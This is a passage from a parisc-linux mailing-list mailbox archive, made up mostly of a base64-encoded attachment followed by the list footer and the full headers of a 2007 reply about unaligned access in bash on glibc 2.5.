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
--------------040105010008040601050303
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------040105010008040601050303--



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Wed, 02 May 2007 10:10:06 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <4638475E.9040204__33236.3258269199$1416624346$gmane$org@aurel32.net>
References: <46379E8A.8080705@aurel32.net>	
	<200705012059.l41Kxj21011265@hiauly1.hia.nrc.ca>
	<119aab440705011847o29e04a2eted8aea1e7c0bb041@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624346 23675 80.91.229.3 (22 Nov 2014 02:45:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:46 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 08:10:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 02 May 2007 10:10:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43D3D7DB19;
	Wed,  2 May 2007 02:10:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15143-08; Wed, 2 May 2007 02:10:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE3B57DB1B;
	Wed,  2 May 2007 02:10:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 259107DB18
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 02:10:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15143-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 02:10:21 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 3F9B47DB0E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 02:10:21 -0600 (MDT)
Original-Received: from anguille.univ-lyon1.fr ([134.214.4.207])
	by mail.aurel32.net with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1Hj9uj-0007zn-Vr; Wed, 02 May 2007 10:10:18 +0200
User-Agent: IceDove 1.5.0.10 (X11/20070329)
In-Reply-To: <119aab440705011847o29e04a2eted8aea1e7c0bb041@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
